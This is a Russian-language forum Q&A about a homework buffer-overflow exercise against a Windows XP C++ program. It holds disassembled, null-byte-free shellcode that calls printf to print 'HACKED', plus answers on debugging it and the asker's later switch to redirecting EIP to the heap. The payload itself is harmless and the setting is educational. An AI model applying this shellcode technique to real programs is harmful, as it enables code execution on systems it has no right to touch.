Printf на ассемблере не печатает - PullRequest
3 голосов
/ 27 апреля 2010

У меня есть домашнее задание, чтобы взломать программу, используя переполнение буфера (с разборкой, программа была написана на C ++, у меня нет исходного кода). Я уже справился, но у меня есть проблема. Я должен напечатать какое-то сообщение на экране, поэтому я узнал адрес функции printf, поместил адрес «HACKED» и адрес «% s» в стек (в этом порядке) и вызвал эту функцию. Вызванный код прошел успешно, но ничего не было напечатано.

Я пытался смоделировать окружение, как в другом месте программы, но должно быть что-то не так. У вас есть идея, что я делаю неправильно, что у меня нет вывода, пожалуйста? Большое спасибо

EDIT:

Эта программа работает на Windows XP SP3 32b, написана на C ++, Intel asm

есть код "взломать"

CPU Disasm
Address   Hex dump          Command                                  Comments
0012F9A3    90              NOP                                      ;hack begins
0012F9A4    90              NOP
0012F9A5    90              NOP
0012F9A6    89E5            MOV EBP,ESP
0012F9A8    83EC 7F         SUB ESP,7F                               ;creating a place for working data
0012F9AB    83EC 7F         SUB ESP,7F
0012F9AE    31C0            XOR EAX,EAX
0012F9B0    50              PUSH EAX
0012F9B1    50              PUSH EAX
0012F9B2    50              PUSH EAX
0012F9B3    89E8            MOV EAX,EBP
0012F9B5    83E8 09         SUB EAX,9
0012F9B8    BA 1406EDFF     MOV EDX,FFED0614                            ;address to jump, it is negative because there mustn't be 00 bytes
0012F9BD    F7DA            NOT EDX
0012F9BF    FFE2            JMP EDX                                     ;I have to jump because there are some values overwritten by the program
0012F9C1    90              NOP
0012F9C2    0090 00000000   ADD BYTE PTR DS:[EAX],DL
0012F9C8    90              NOP
0012F9C9    90              NOP
0012F9CA    90              NOP
0012F9CB    90              NOP
0012F9CC    6C              INS BYTE PTR ES:[EDI],DX                 ; I/O command
0012F9CD    65:6E           OUTS DX,BYTE PTR GS:[ESI]                ; I/O command
0012F9CF    67:74 68        JE SHORT 0012FA3A                        ; Superfluous address size prefix
0012F9D2    2069 73         AND BYTE PTR DS:[ECX+73],CH
0012F9D5    203439          AND BYTE PTR DS:[EDI+ECX],DH
0012F9D8    34 2C           XOR AL,2C
0012F9DA    2066 69         AND BYTE PTR DS:[ESI+69],AH
0012F9DD    72 73           JB SHORT 0012FA52
0012F9DF    74 20           JE SHORT 0012FA01
0012F9E1    3120            XOR DWORD PTR DS:[EAX],ESP
0012F9E3    6C              INS BYTE PTR ES:[EDI],DX                 ; I/O command
0012F9E4    696E 65 7300909 IMUL EBP,DWORD PTR DS:[ESI+65],-6F6FFF8D
0012F9EB    90              NOP
0012F9EC    90              NOP
0012F9ED    90              NOP
0012F9EE    31DB            XOR EBX,EBX                             ; hack continues
0012F9F0    8818            MOV BYTE PTR DS:[EAX],BL               ; writing 00 behind word "HACKED"
0012F9F2    83E8 06         SUB EAX,6
0012F9F5    50              PUSH EAX  ; address of "HACKED"
0012F9F6    B8 3B8CBEFF     MOV EAX,FFBE8C3B
0012F9FB    F7D0            NOT EAX
0012F9FD    50              PUSH EAX   ; address of "%s"
0012F9FE    B8 3897BFFF     MOV EAX,FFBF9738
0012FA03    F7D0            NOT EAX
0012FA05    FFD0            CALL EAX    ;address of printf                             

начало программы:

CPU Disasm
Address   Hex dump          Command                                  Comments
00403F40  /$  55            PUSH EBP
00403F41  |.  8BEC          MOV EBP,ESP
00403F43  |.  6A FF         PUSH -1
00403F45  |.  68 AB6D4100   PUSH pop3.00416DAB
00403F4A  |.  64:A1 0000000 MOV EAX,DWORD PTR FS:[0]
00403F50  |.  50            PUSH EAX
00403F51  |.  64:8925 00000 MOV DWORD PTR FS:[0],ESP
00403F58  |.  81EC 4C050000 SUB ESP,54C
00403F5E  |.  6A 00         PUSH 0                                   ; /Arg1 = 0
00403F60  |.  E8 6BDEFFFF   CALL 00401DD0                            ; \pop3.00401DD0
00403F65  |.  83C4 04       ADD ESP,4
00403F68  |.  50            PUSH EAX                                 ; /Arg1
00403F69  |.  E8 DA2D0000   CALL 00406D48                            ; \pop3.00406D48
00403F6E  |.  83C4 04       ADD ESP,4
00403F71  |.  837D 08 02    CMP DWORD PTR SS:[ARG.1],2
00403F75  |.  74 21         JE SHORT 00403F98
00403F77  |.  837D 08 03    CMP DWORD PTR SS:[ARG.1],3
00403F7B  |.  74 1B         JE SHORT 00403F98
00403F7D  |.  8B45 0C       MOV EAX,DWORD PTR SS:[ARG.2]
00403F80  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
00403F82  |.  51            PUSH ECX
00403F83  |.  68 287D4100   PUSH OFFSET pop3.00417D28                ; ASCII "%s arg: port [log dir]"
00403F88  |.  E8 3A290000   CALL 004068C7                            ; this is probably address of printf, I have source code of previous version of this program, this part is probably same

Этот код действительно ужасен, потому что я новичок в ассемблере, и не должно быть нулевых байтов из-за ошибки переполнения буфера

Ответы [ 2 ]

1 голос
/ 27 апреля 2010

Являетесь ли вы тем, что параметры для printf передаются в правильном порядке, у вас есть правильное количество их, и все они передаются через стек (оптимизация может означать, что вместо них используются регистры). Переменное количество параметров может привести к более сложному списку параметров, чем вы предполагаете. Может быть, попытаться позвонить на ставит , что может быть проще.

Редактировать: Только что увидел ваше редактирование, и вы пытаетесь разобрать кучу текста, который никогда не должен выполняться; Код, начинающийся с

0012F9CC    6C              INS BYTE PTR ES:[EDI],DX                 ; I/O command 
0012F9CD    65:6E           OUTS DX,BYTE PTR GS:[ESI]                ; I/O command 
0012F9CF    67:74 68        JE SHORT 0012FA3A                        ; Superfluous address size prefix 
0012F9D2    2069 73         AND BYTE PTR DS:[ECX+73],CH 
0012F9D5    203439          AND BYTE PTR DS:[EDI+ECX],DH 
0012F9D8    34 2C           XOR AL,2C 

на самом деле просто фрагмент текста, говорящий «ength - это 494, первые 1 строки». Я заметил это, поскольку printf не должно иметь INS и OUTS. Подсказка: при взломе и дизассемблировании кода всегда смотрите рядом с ним в редакторе, который показывает ASCII и UNICODE для искоренения текстовых литералов.

0 голосов
/ 29 апреля 2010

Я не нашел ошибку, но изменил структуру своего хак-кода и теперь он работает. Я публикую только несколько инструкций, которые перенаправляют EIP из стека в кучу, где у меня есть «неограниченное» пространство, и здесь я могу выполнить нужный код. Спасибо за совет.

...